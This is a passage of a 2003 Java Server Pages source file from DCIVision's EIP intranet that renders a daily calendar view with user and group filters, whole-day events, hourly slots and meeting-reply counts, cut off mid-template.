<%
/*
 * @(#)ViewCalendar.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListUserGroup.jsp

  This is a ListUserGroup page.  It shows the active groups' record in EIP.

    @author             Robert Jin
    @company            DCIVision Ltd
    @creation date      18/12/2003
    @version            $Revision: 1.49.4.7 $
*/

%>

<%@page import="java.util.*" %>
<%@page import="javax.sql.*" %>
<%@page import="java.sql.*" %>
<%@page import="com.dcivision.calendar.*" %>
<%@page import="com.dcivision.calendar.bean.*" %>
<%@page import="com.dcivision.user.bean.*" %>
<%@page import="com.dcivision.user.dao.*" %>
<%@page import="com.dcivision.alert.bean.*"%>
<%@page import="com.dcivision.alert.dao.*"%>
<%@page import="com.dcivision.alert.core.*"%>
<%@page import="com.dcivision.framework.TextUtility" %>
<%@page import="com.dcivision.framework.Utility" %>
<%@page import="com.dcivision.framework.GlobalConstant" %>
<%@page import="com.dcivision.framework.UserInfoFactory" %>
<%@page import="com.dcivision.framework.SystemParameterConstant" %>
<%@page import="com.dcivision.framework.SystemParameterFactory" %>
<%@page import="com.dcivision.framework.MessageResourcesFactory" %>
<%@page import="com.dcivision.framework.DataSourceFactory" %>
<%@page import="com.dcivision.framework.web.AbstractSearchForm" %>
<%@page import="com.dcivision.framework.web.ListPersonalHomeForm" %>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<%@taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
<%@taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
<%@taglib uri="/WEB-INF/struts-logic.tld" prefix="logic" %>
<%@taglib uri="/WEB-INF/layout.tld" prefix="layout" %>


<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listCalendarRecordForm" class="com.dcivision.calendar.web.ListCalendarRecordForm" scope="request"/>

<%
try{
  Connection conn = null;
  String singleQuote = "'";
  Integer defStartShowHour = session.getAttribute("defStartShowHour")==null? new Integer(0): (Integer)session.getAttribute("defStartShowHour");
  Integer defEndShowHour = session.getAttribute("defEndShowHour")==null? new Integer(23): (Integer)session.getAttribute("defEndShowHour");
  conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);

  Integer selectedUserID = sessionContainer.getUserRecordID();
  Integer selectedGroupID = new Integer(0);
  GregorianCalendar gCal = new GregorianCalendar() ;
  int currentDay = gCal.get(GregorianCalendar.DAY_OF_MONTH) ;
  int currentMonth = gCal.get(GregorianCalendar.MONTH) + 1 ;
  int currentYear = gCal.get(GregorianCalendar.YEAR) ;
  int weekDay = gCal.get(GregorianCalendar.DAY_OF_WEEK) ;
  int startOfMonth = gCal.getActualMinimum(GregorianCalendar.DAY_OF_MONTH) ;
  int endOfMonth = gCal.getActualMaximum(GregorianCalendar.DAY_OF_MONTH) ;

  int selectedDay = currentDay;
  int selectedMonth = currentMonth;
  int selectedYear = currentYear;

  if (session.getAttribute("CALENDAR_SELECTED_DATE")!=null){
    Calendar selectedDateInSession = (Calendar)session.getAttribute("CALENDAR_SELECTED_DATE");
    selectedDay = selectedDateInSession.get(Calendar.DAY_OF_MONTH);
    selectedMonth = selectedDateInSession.get(Calendar.MONTH)+1;
    selectedYear = selectedDateInSession.get(Calendar.YEAR);
  }

  if (request.getParameter("selectedDay")!=null)
    selectedDay = TextUtility.parseInteger(request.getParameter("selectedDay"));
  if (request.getParameter("selectedMonth")!=null)
    selectedMonth = TextUtility.parseInteger(request.getParameter("selectedMonth"));
  if (request.getParameter("selectedYear")!=null)
    selectedYear = TextUtility.parseInteger(request.getParameter("selectedYear"));

  if (session.getAttribute("CALENDAR_SELECTED_USERID")!=null)
    selectedUserID = (Integer)session.getAttribute("CALENDAR_SELECTED_USERID");

  if (session.getAttribute("CALENDAR_SELECTED_GROUPID")!=null)
    selectedGroupID = (Integer)session.getAttribute("CALENDAR_SELECTED_GROUPID");


  String[][] SEARCH_MAP = { {"user.label.group_name", "GROUP_NAME"},
                              {"user.label.group_desc", "GROUP_DESC"}
                          };
  Calendar selectedDate = Calendar.getInstance();
  selectedDate.set(selectedYear,selectedMonth-1,selectedDay);

  Utility.setCalendarTime(selectedDate,0,0,0,0);


  //  This fragment of code handle the case if the selectedDate is larger than
  //  what it supposed to be,like '32'.
  selectedDay = selectedDate.get(Calendar.DAY_OF_MONTH);
  selectedMonth = selectedDate.get(Calendar.MONTH)+1;
  selectedYear = selectedDate.get(Calendar.YEAR);

  String dateInLongFormat = TextUtility.formatDate(selectedDate.getTime(),"dd MMMM yyyy");
  String strSelectedDate = TextUtility.formatDate(selectedDate.getTime(),SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATE_FORMAT));


  String[][] searchMap ={ {"calendar.columnheader.description", null},
            {"calendar.columnheader.title", null},
            {"calendar.columnheader.type", null }
                };

  ArrayList userList = (ArrayList)request.getAttribute("calendarRecord_userList");

  UserRecord defaultSelection = new UserRecord();
  defaultSelection.setID(new Integer("-1"));
  defaultSelection.setFirstName("     --- "+MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "calendar.label.all_event")+" ---     ");

  userList.add(0,defaultSelection);



  UserRecord selfSelection = new UserRecord();
  selfSelection.setID(sessionContainer.getUserRecordID());
  selfSelection.setFirstName(sessionContainer.getUserFullName());
  userList.add(1,selfSelection);
  request.setAttribute("userList",userList);

  //add the "-- All Group --" into the allGroupList
  ArrayList groupList = (ArrayList)request.getAttribute("allGroupList");
  UserGroup defaultGroupSelection = new UserGroup();
  defaultGroupSelection.setID(new Integer("-1"));
  defaultGroupSelection.setGroupName("--- "+MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(),"calendar.label.all_groups")+" ---");
  groupList.add(0,defaultGroupSelection);
  request.setAttribute("groupList",groupList);

  String[] value = Utility.getStringArray(Utility.getPropertyArray(userList,"ID",new Integer[0]));
  String[] userName = (String[])Utility.getPropertyArray(userList,"firstName",new String[0]);

  // Set 'selectedUserID' to logined userID if the selected userID doesn't have events in the selected period
  List tempList = Utility.getList(Utility.getPropertyArray(userList,"ID",new Integer[0]));
  if (!tempList.contains(selectedUserID))
    selectedUserID = sessionContainer.getUserRecordID();

  UpdateAlertDAObject updateAlertDAO  = new UpdateAlertDAObject(sessionContainer, conn);
  List updateAlertList = new ArrayList();

  UserRecordDAObject userRecordDAO = new UserRecordDAObject(sessionContainer,conn);
  String calendarCreatorName = "";
%>

<!-- Javascript Begin -->
<script language="JavaScript">
<!--
function changeUser() {
  document.listCalendarRecordForm.selectedGroupID.value = document.listCalendarRecordForm.basicSearchField.value;
  document.listCalendarRecordForm.selectedUserID.value = document.listCalendarRecordForm.basicSearchType.value;
  document.listCalendarRecordForm.submit();
}
//-->
</script>
<!-- Javascript End -->


<html:form action="/calendar/ListCalendar.do" method="GET">

<!-- hidden field begin -->
<input type="hidden" name="navMode" value="LD">
<input type="hidden" name="selectedDay" value="<%=selectedDay%>">
<input type="hidden" name="selectedMonth" value="<%=selectedMonth%>">
<input type="hidden" name="selectedYear" value="<%=selectedYear%>">
<input type="hidden" name="selectedGroupID" value="">
<input type="hidden" name="selectedUserID" value="">


<%
  String defaultSelectedUserID = sessionContainer.getUserRecordID().toString();
  String defaultSelectedGroupID = "-1";

  if (!Utility.isEmpty(session.getAttribute("CALENDAR_SELECTED_USERID") )) {
    defaultSelectedUserID = ((Integer)session.getAttribute("CALENDAR_SELECTED_USERID")).toString();
  }
  if (!Utility.isEmpty(session.getAttribute("CALENDAR_SELECTED_GROUPID") )) {
    defaultSelectedGroupID = session.getAttribute("CALENDAR_SELECTED_GROUPID").toString();
  }
%>
<table cellpadding="2" cellspacing="0" border="0" width="100%" height="40">
  <tr>
    <td align="left">
      <font class='sectionHeader'><b><bean:message key='calendar.label.view'/>:</b></font>&nbsp;
      <html:select property="basicSearchField" onchange='changeUser()' value="<%=defaultSelectedGroupID%>">
        <html:options collection="groupList" labelProperty='groupName' property='ID'  />
      </html:select>
      <html:select property="basicSearchType" onchange='changeUser()' value="<%=defaultSelectedUserID%>" >
        <html:options collection="userList" labelProperty='firstName' property='ID' />
      </html:select>
    </td>
  </tr>
</table>

<!-- View Panel End-->


<script>
function showTab(tabList, tabName, dummy){
  //if("dailyTab" == tabName){
  // document.location="ListCalendar.do?navMode=LD&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>";
  if("weeklyTab" == tabName){
    document.location="ListCalendar.do?navMode=LW&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>";
  }else if("monthlyTab" == tabName){
    document.location="ListCalendar.do?navMode=LM&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>";    
  }else if("toDoTab" == tabName){
    document.location="ListCalendar.do?navMode=<%=CalendarRecord.NAV_MODE_LIST_TODO%>";
  }else if("eventTab" == tabName){
    document.location="ListCalendar.do??navMode=<%=CalendarRecord.NAV_MODE_LIST_EVENT%>";
  }
}
</script>
<div style="overflow-x:auto;width:590;overflow-y:hidden">
<layout:tabContainer id="tab1">
<table width="100%" border="0" cellspacing="0" cellpadding="0" >
  <tr>
    <td>
    <layout:tabBar styleClass='tabBar'>
      <layout:tabPane id="dailyTab"   title="calendar.label.tab_daily"  selected="true"/>
      <layout:tabPane id="weeklyTab"  title="calendar.label.tab_weekly" />      
      <layout:tabPane id="monthlyTab" title="calendar.label.tab_monthly"/>
      <!--
      <layout:tabPane id="toDoTab"    title="calendar.label.tab_todo"/>
      <layout:tabPane id="eventTab"   title="calendar.label.tab_event"/>
      -->
    </layout:tabBar>
    </td>
    <td align='right'>
      <html:standardButton label="calendar.label.sharingdefault" link="MaintCalendarShare.do?navMode=E&oldNavMode=LM"/>
    </td>
  </tr>
</table>
<!-- Tab Folder end -->
<%
  int currentHr = 0;
  int currentEndHr = 0;
  Calendar startDateFromRec = null;
  Calendar endDateFromRec = null;
  CalendarUtility util = new CalendarUtility();

  boolean isInvited = false;
  boolean haveWholeDayEvent = false;
  Calendar dateTimeFromRec = Calendar.getInstance();
  Calendar endTimeFromRec = Calendar.getInstance();
  ArrayList list = new ArrayList();
  list = (ArrayList)request.getAttribute("calendarRecord");
  CalendarRecord calendar = null;

  ArrayList filtList = new ArrayList();
  for (int j=0;j<list.size();j++){
    if (list.get(j) instanceof CalendarRecord) {
      calendar = (CalendarRecord)list.get(j);
      //get the full name of created the calendar
      calendarCreatorName = UserInfoFactory.getUserFullName(calendar.getCreatorID());

      dateTimeFromRec.setTime(calendar.getDatetime());
      if (calendar.getEndtime()!= null){
        endTimeFromRec.setTime(calendar.getEndtime());
      }
      currentHr = (Utility.timestampToCalendar(calendar.getDatetime())).get(Calendar.HOUR_OF_DAY);
      currentEndHr = (Utility.timestampToCalendar(calendar.getEndtime())).get(Calendar.HOUR_OF_DAY);
      startDateFromRec = Utility.timestampToCalendar(calendar.getDatetime());
      Utility.setCalendarTime(startDateFromRec,0,0,0,0);
      if (Utility.isEmpty(calendar.getEndtime())){
        endDateFromRec = startDateFromRec;
      }else{
        endDateFromRec = Utility.timestampToCalendar(calendar.getEndtime());
      }
      Utility.setCalendarTime(endDateFromRec,0,0,0,0);
      if ((startDateFromRec.equals(selectedDate)||endDateFromRec.equals(selectedDate))&&(GlobalConstant.FALSE.equals(calendar.getIsWholeDay())||calendar.getIsWholeDay()==null)) {
        boolean isViewCalender = false;
        if(calendar.getIsInvitation()){
        isViewCalender = true;
      }else  if (CalendarRecord.SHARE_TYPE_PUBLIC.equals(calendar.getShareType())) {
        isViewCalender = true;
      }else if  (CalendarRecord.SHARE_TYPE_SHOW_TITLE.equals(calendar.getShareType())) {
        isViewCalender = true;
      }else if (calendar.getCreatorID().toString().equals(sessionContainer.getUserRecordID().toString())) {
        isViewCalender = true;
      }
      if(isViewCalender)
        filtList.add(list.get(j));
      }
    }//end if
  }//end for list.size()
%>
<table width="100%" border="0" cellpadding="0" cellspacing="0" align="left">
<%
  GregorianCalendar gregorianCalendar= new GregorianCalendar(selectedYear,selectedMonth-1,selectedDay);
  gregorianCalendar.add(GregorianCalendar.DAY_OF_MONTH,-1);
%>
  <tr valign="top" class="greyD">
        <td class="columnLabel" align='center'>      
          <a href='ListCalendar.do?navMode=LD&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_DAY%>&selectedDay=<%=gregorianCalendar.get(GregorianCalendar.DAY_OF_MONTH)%>&selectedMonth=<%=gregorianCalendar.get(GregorianCalendar.MONTH)+1%>&selectedYear=<%=gregorianCalendar.get(GregorianCalendar.YEAR)%>'>&lt;&lt;</a>
          &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<bean:message key='calendar.columnheader.event'/>&nbsp;<bean:message key='calendar.columnheader.at'/>&nbsp;<b><%=dateInLongFormat%></b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
          <%gregorianCalendar.add(GregorianCalendar.DAY_OF_MONTH,2);%>      
          <a href='ListCalendar.do?navMode=LD&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_DAY%>&selectedDay=<%=gregorianCalendar.get(GregorianCalendar.DAY_OF_MONTH)%>&selectedMonth=<%=gregorianCalendar.get(GregorianCalendar.MONTH)+1%>&selectedYear=<%=gregorianCalendar.get(GregorianCalendar.YEAR)%>'>&gt;&gt;</a>
        </td>
        <td ></td>
  </tr>
</table>
<br><br><br>
<table width="100%" border="0" cellpadding="0" cellspacing="1">
<%
  for (int j=0;j<list.size();j++){
    if (list.get(j) instanceof CalendarRecord) {
      calendar = (CalendarRecord)list.get(j);
      startDateFromRec = Utility.timestampToCalendar(calendar.getDatetime());
      Utility.setCalendarTime(startDateFromRec,0,0,0,0);
      endDateFromRec = Utility.timestampToCalendar(calendar.getEndtime());
      Utility.setCalendarTime(endDateFromRec,0,0,0,0);
      if ((startDateFromRec.before(selectedDate)&&endDateFromRec.after(selectedDate))||(GlobalConstant.TRUE.equals(calendar.getIsWholeDay())&&(startDateFromRec.equals(selectedDate)||endDateFromRec.equals(selectedDate)))) {
        haveWholeDayEvent = true;
        break;
      }
    }
  }

  if (haveWholeDayEvent) {        
%>
  <tr class="greyD">
    <td width="40" align='right' class="bodyBold">&nbsp;</td>
    <td align='left' colspan="<%=list.size()%>">
<%  for (int j=0;j<list.size();j++){
      if (list.get(j) instanceof CalendarRecord) {
        calendar = (CalendarRecord)list.get(j);
        //get the full name of created the calendar
        calendarCreatorName = UserInfoFactory.getUserFullName(calendar.getCreatorID());

        startDateFromRec = Utility.timestampToCalendar(calendar.getDatetime());
        Utility.setCalendarTime(startDateFromRec,0,0,0,0);
        endDateFromRec = Utility.timestampToCalendar(calendar.getEndtime());
        Utility.setCalendarTime(endDateFromRec,0,0,0,0);
        if (calendar.getEndtime()!= null)
          endTimeFromRec.setTime(calendar.getEndtime());
        if ((startDateFromRec.before(selectedDate)&&endDateFromRec.after(selectedDate))||(GlobalConstant.TRUE.equals(calendar.getIsWholeDay())&&(startDateFromRec.equals(selectedDate)||endDateFromRec.equals(selectedDate)))) {
          isInvited = util.checkInvitedToMeeting(calendar.getID(),sessionContainer,conn);
          String calendarClass = "#0033FF";
          if(CalendarRecord.isActivity(calendar)){
            calendarClass = "#990000";
          } else if(!calendar.getCreatorID().equals(sessionContainer.getUserRecordID())){
            if(isInvited){
              calendarClass = "#FF0000";
            } else if(CalendarRecord.SHARE_TYPE_SHOW_TITLE.equals(calendar.getShareType())||CalendarRecord.SHARE_TYPE_PUBLIC.equals(calendar.getShareType())){
              calendarClass = "#FF6600"; 
            }
          }
          %>          
              <b><bean:message key='calendar.label.whole_day_event' /></b>&nbsp;
        <%if(calendar.getIsInvitation()){ %>
          <%if(!calendar.getIsAcceptance()){ %>
          <bean:message key='home.label.icon_invite_meeting' />&nbsp;
          <%}%>
          
         <a  title='<%=TextUtility.replaceString(calendar.getTitle(),singleQuote,"&#39")%><%if (!calendar.getCreatorID().equals(sessionContainer.getUserRecordID())) {%>&nbsp[<bean:message key="calendar.label.colleague_invited_by"/> <%=calendarCreatorName%>]<%}%>' href='MaintCalendar.do?navMode=V&ID=<%=calendar.getID()%>&listName=eventList&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_DAY%>&caleType=I&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>'>
         <font class='<%=(CalendarRecord.isActivity(calendar))?"activity_event":((calendar.getCreatorID().equals(sessionContainer.getUserRecordID()))?"calendar_own_event":"calendar_others_meeting")%>'>
         <html:summarizeContent key="<%=TextUtility.htmlEncode(calendar.getTitle())%>" limitLength="20" />
         <%if (!calendar.getCreatorID().equals(sessionContainer.getUserRecordID())) {%>
         [<bean:message key='calendar.label.colleague_invited_by'/> <%=calendarCreatorName%>]
         <%}%>
         </font></a>
      <%}else if (CalendarRecord.SHARE_TYPE_PUBLIC.equals(calendar.getShareType())) {%>
              <a  title='<%=TextUtility.replaceString(calendar.getTitle(),singleQuote,"&#39")%><%if (!calendar.getCreatorID().equals(sessionContainer.getUserRecordID())) {%>&nbsp[<bean:message key="calendar.label.colleague_shared_by"/> <%=calendarCreatorName%>]<%}%>' href='MaintCalendar.do?navMode=V&ID=<%=calendar.getID()%>&caleType=S&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_DAY%>&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>'><font style='color:<%= calendarClass %>'>
              <html:summarizeContent key="<%=TextUtility.htmlEncode(calendar.getTitle())%>" limitLength="20" />
              <%if (!calendar.getCreatorID().equals(sessionContainer.getUserRecordID())) {%>
              [<bean:message key='calendar.label.colleague_shared_by'/> <%=calendarCreatorName%>]
              <%}%>
              </font></a>
          <% }else if  (CalendarRecord.SHARE_TYPE_SHOW_TITLE.equals(calendar.getShareType())) {%>
            <%if (calendar.getCreatorID().toString().equals(sessionContainer.getUserRecordID().toString())) {%>
              <a  title='<%=TextUtility.replaceString(calendar.getTitle(),singleQuote,"&#39")%>' href='MaintCalendar.do?navMode=V&ID=<%=calendar.getID()%>&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_DAY%>&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>'><font style='color:<%= calendarClass %>'><html:summarizeContent key="<%=TextUtility.htmlEncode(calendar.getTitle())%>" limitLength="20" /></font></a>
            <%}else{%>
              <font style='color:<%= calendarClass %>'>
              <a  title='<%=TextUtility.replaceString(calendar.getTitle(),singleQuote,"&#39")%>&nbsp[<bean:message key="calendar.label.colleague_shared_by"/> <%=calendarCreatorName%>]'><html:summarizeContent key="<%=TextUtility.htmlEncode(calendar.getTitle())%>" limitLength="20" /> [<bean:message key='calendar.label.colleague_shared_by'/> <%=calendarCreatorName%>]</a>
              </font>
            <%}%>
          <%}else if (calendar.getCreatorID().toString().equals(sessionContainer.getUserRecordID().toString())) {%>
              <a  title='<%=TextUtility.replaceString(calendar.getTitle(),singleQuote,"&#39")%>' href='MaintCalendar.do?navMode=V&ID=<%=calendar.getID()%>&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_DAY%>&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>'><font style='color:<%= calendarClass %>'><html:summarizeContent key="<%=TextUtility.htmlEncode(calendar.getTitle())%>" limitLength="20" /></font></a>
          <%}%>
<%  //check for invite status   %>

<%        updateAlertList = (ArrayList)updateAlertDAO.getByObjectTypeObjectIDAndActionType(UpdateAlert.CALENDAR_TYPE, calendar.getID(), UpdateAlert.INVITE_ACTION);


          if (updateAlertList.size()>0)  {
            UpdateAlert updateAlert = (UpdateAlert)updateAlertList.get(0);

            UpdateAlertSystemLogDAObject alertSystemLogDAO = new UpdateAlertSystemLogDAObject(sessionContainer, conn);
            List validUpdateAlertID = new ArrayList(1);

            validUpdateAlertID.add(updateAlert.getID());
            List systemLogList = alertSystemLogDAO.getSystemLogList(validUpdateAlertID);

            int ttlReplyOnAccept = 0;
            int ttlReplyOnTentative =  0;
            int ttlReplyOnReject = 0;
            if (systemLogList!=null) {
              for (int k=0; k<systemLogList.size(); k++) {
                UpdateAlertSystemLog alertSystemLog = (UpdateAlertSystemLog)systemLogList.get(k);

                List replyOnAcceptAry = (List) alertSystemLogDAO.getReplyActionByUpdateAlertID(alertSystemLog, UpdateAlert.ACCEPT_ON_REPLY);
                if (replyOnAcceptAry!=null)
                  ttlReplyOnAccept = replyOnAcceptAry.size();
                List replyOnTentativeAry = (List) alertSystemLogDAO.getReplyActionByUpdateAlertID(alertSystemLog, UpdateAlert.TENTATIVE_ON_REPLY);
                if (replyOnTentativeAry!=null)
                  ttlReplyOnTentative = replyOnTentativeAry.size();
                List replyOnRejectAry = (List) alertSystemLogDAO.getReplyActionByUpdateAlertID(alertSystemLog, UpdateAlert.REJECT_ON_REPLY);
                if (replyOnRejectAry!=null)
                  ttlReplyOnReject = replyOnRejectAry.size();

              }   %>
                <b><html:img src='IconAccept.gif' /><%=ttlReplyOnAccept%> <html:img src='IconTentative.gif' /><%=ttlReplyOnTentative%> <html:img src='IconReject.gif' /> <%=ttlReplyOnReject%> </b>
<%          }
          }                           %>
              <br>

<%     }
      }
    }                                 %>
    </td>
    <td>
    </td>
  </tr>
<%
}
for (int i = defStartShowHour.intValue();i<=defEndShowHour.intValue();i++) {
%>
  <tr class="<%= ((i%2)!=0) ? "greyD" : "light" %>">
    <td width="40" align='right' class="bodyBold"><nobr>
    <% 
      java.text.SimpleDateFormat markerDateFormat = new java.text.SimpleDateFormat("hh:00 a", java.util.Locale.US);
      Calendar marker = GregorianCalendar.getInstance();
      marker.set(Calendar.HOUR,i);
      marker.set(Calendar.MINUTE,0);
      out.print(markerDateFormat.format(marker.getTime()));
    %>
    </td>
    <td width="40" align='center' class="bodyBold" >
      <logic:permission right="I">
        <a href='MaintCalendar.do?eventType=<%=CalendarRecord.EVENT_TYPE_CALENDAR_EVENT%>&navMode=N&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>&selectedHr=<%=i%>&listName=eventList&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_DAY%>'>+<bean:message key='calendar.label.event_calendar_event'/></a></nobr><br><nobr><a href='MaintCalendar.do?eventType=<%=CalendarRecord.EVENT_TYPE_CALENDAR_MEETING%>&navMode=N&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>&selectedHr=<%=i%>&listName=eventList&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_DAY%>'>+<bean:message key='calendar.label.event_calendar_meeting'/></a></nobr><br>
        <font color="gray">+<bean:message key='calendar.label.event_calendar_event'/><br>+<bean:message key='calendar.label.event_calendar_meeting'/></font>
      </logic:permission>
    </td>    
<%if(filtList.size()==0){%>
 <td align='left' width="100%">&nbsp;</td>
<%}%>
<%
  isInvited = false;
  int limitLength = 50 - (filtList.size() * 15);
  if (limitLength < 10){ 
    limitLength=10;
  }
    
  for (int j=0;j<filtList.size();j++){    
    if (filtList.get(j) instanceof CalendarRecord) {
%>
 <td align='left' width="<%=(200 + 200/filtList.size())%>">
 <table border="0" cellpadding="0" cellspacing="0">
  <tr>
<%
      calendar = (CalendarRecord)filtList.get(j);
      //get the full name of created the calendar
      calendarCreatorName = UserInfoFactory.getUserFullName(calendar.getCreatorID());
      int currentEndHour  = 0;
      int currentEndMinute   = 0;
      dateTimeFromRec.setTime(calendar.getDatetime());
      if (calendar.getEndtime()!= null){
        endTimeFromRec.setTime(calendar.getEndtime());
      }
      currentHr = (Utility.timestampToCalendar(calendar.getDatetime())).get(Calendar.HOUR_OF_DAY);
      String startDatetime=TextUtility.formatDate((Utility.timestampToCalendar(calendar.getDatetime())).getTime(),SystemParameterFactory.getSystemParameter(SystemParameterConstant.TIME_FORMAT));

      currentEndHr = (Utility.timestampToCalendar(calendar.getEndtime())).get(Calendar.HOUR_OF_DAY);
      currentEndMinute   = (Utility.timestampToCalendar(calendar.getEndtime())).get(Calendar.MINUTE);
      String endDatetime=TextUtility.formatDate((Utility.timestampToCalendar(calendar.getEndtime())).getTime(),SystemParameterFactory.getSystemParameter(SystemParameterConstant.TIME_FORMAT));
      startDateFromRec = Utility.timestampToCalendar(calendar.getDatetime());
      Utility.setCalendarTime(startDateFromRec,0,0,0,0);
      if (Utility.isEmpty(calendar.getEndtime())){
        endDateFromRec = startDateFromRec;
      }else{
        endDateFromRec = Utility.timestampToCalendar(calendar.getEndtime());
      }

      Utility.setCalendarTime(endDateFromRec,0,0,0,0);

      if (((startDateFromRec.equals(selectedDate) && currentHr <= i) || (endDateFromRec.equals(selectedDate) && i<=currentEndHr)) && (GlobalConstant.FALSE.equals(calendar.getIsWholeDay())||calendar.getIsWholeDay()==null)){
        isInvited = util.checkInvitedToMeeting(calendar.getID(),sessionContainer,conn);
        String calendarClass = "calendar_own_event";
        if(CalendarRecord.isActivity(calendar)){
          calendarClass = "activity_event";
        } else if(!calendar.getCreatorID().equals(sessionContainer.getUserRecordID())){
          if(isInvited){
            calendarClass = "calendar_others_meeting";
          } else if(CalendarRecord.SHARE_TYPE_SHOW_TITLE.equals(calendar.getShareType())||CalendarRecord.SHARE_TYPE_PUBLIC.equals(calendar.getShareType())){
            calendarClass = "calendar_others_event";
          }
        }
        if ((startDateFromRec.equals(selectedDate) && currentHr == i) || (endDateFromRec.equals(selectedDate) && i==currentEndHr) || (!startDateFromRec.equals(endDateFromRec) && (defStartShowHour.intValue()==i || defEndShowHour.intValue()==i))){
        java.text.SimpleDateFormat sdf = new java.text.SimpleDateFormat("hh:mm a", java.util.Locale.US);
%>
    <nobr>
    <td align='left'>
    <html:img src='IconTimeBar.gif' width='20' height ='50'/>
    </td>
    <td align='left'>
    <%=sdf.format(calendar.getDatetime())%>
<%  if(calendar.getDatetime().getTime() < calendar.getEndtime().getTime()){ %>
    - <%=sdf.format(calendar.getEndtime())%>
<%  } %>
    </td> 
    <td align='left' width="5"></td>
    <td align='left'>
<%      if(calendar.getIsInvitation()){ %>
       <a  title='<%=TextUtility.replaceString(calendar.getTitle(),singleQuote,"&#39")%><%if (!calendar.getCreatorID().equals(sessionContainer.getUserRecordID())) {%>&nbsp[<bean:message key='calendar.label.colleague_invited_by'/> <%=calendarCreatorName%>]<%}%>' href='MaintCalendar.do?navMode=V&ID=<%=calendar.getID()%>&listName=eventList&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_DAY%>&caleType=I&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>'>
       <font class='calendar_others_meeting'>
<%        if(!calendar.getIsAcceptance()){ %>
      <bean:message key='home.label.icon_invite_meeting' />&nbsp;
<%        }  %>
       <html:summarizeContent key="<%=TextUtility.htmlEncode(calendar.getTitle())%>" limitLength="<%=limitLength%>" />
<%       if (!calendar.getCreatorID().equals(sessionContainer.getUserRecordID())) {%>
       <br>[<bean:message key='calendar.label.colleague_invited_by'/> <%=calendarCreatorName%>]
<%       }%>
       </font></a>
<%      }else if (CalendarRecord.SHARE_TYPE_PUBLIC.equals(calendar.getShareType())) {%>
          <a  title='<%=TextUtility.replaceString(calendar.getTitle(),singleQuote,"&#39")%><%if (!calendar.getCreatorID().equals(sessionContainer.getUserRecordID())) {%>&nbsp[<bean:message key='calendar.label.colleague_shared_by'/> <%=calendarCreatorName%>]<%}%>' href='MaintCalendar.do?navMode=V&ID=<%=calendar.getID()%>&caleType=S&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_DAY%>&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>'>
          <font style='color:<%= calendarClass %>'>
          <html:summarizeContent key="<%=TextUtility.htmlEncode(calendar.getTitle())%>" limitLength="<%=limitLength%>" />
<%        if (!calendar.getCreatorID().equals(sessionContainer.getUserRecordID())) {%>
            [<bean:message key='calendar.label.colleague_shared_by'/> <%=calendarCreatorName%>]
<%        }  %>
          </font></a>
<%      }else if(CalendarRecord.SHARE_TYPE_SHOW_TITLE.equals(calendar.getShareType())) {%>
<%        if (calendar.getCreatorID().toString().equals(sessionContainer.getUserRecordID().toString())) {%>
              <a  title='<%=TextUtility.replaceString(calendar.getTitle(),singleQuote,"&#39")%>' href='MaintCalendar.do?navMode=V&ID=<%=calendar.getID()%>&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_DAY%>&listName=eventList&tselectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>'><font style='color:<%= calendarClass %>'><html:summarizeContent key="<%=TextUtility.htmlEncode(calendar.getTitle())%>" limitLength="<%=limitLength%>" /></font></a>
<%        }else{%>
              <font class='<%=calendarClass%>'>&nbsp;
              <a  title='<%=TextUtility.replaceString(calendar.getTitle(),singleQuote,"&#39")%>&nbsp[<bean:message key='calendar.label.colleague_shared_by'/> <%=calendarCreatorName%>]'><html:summarizeContent key="<%=TextUtility.htmlEncode(calendar.getTitle())%>" limitLength="20" /> [<bean:message key='calendar.label.colleague_shared_by'/> <%=calendarCreatorName%>]</a>
              </font>
<%        }%>
<%      }else if (calendar.getCreatorID().toString().equals(sessionContainer.getUserRecordID().toString())) {%>
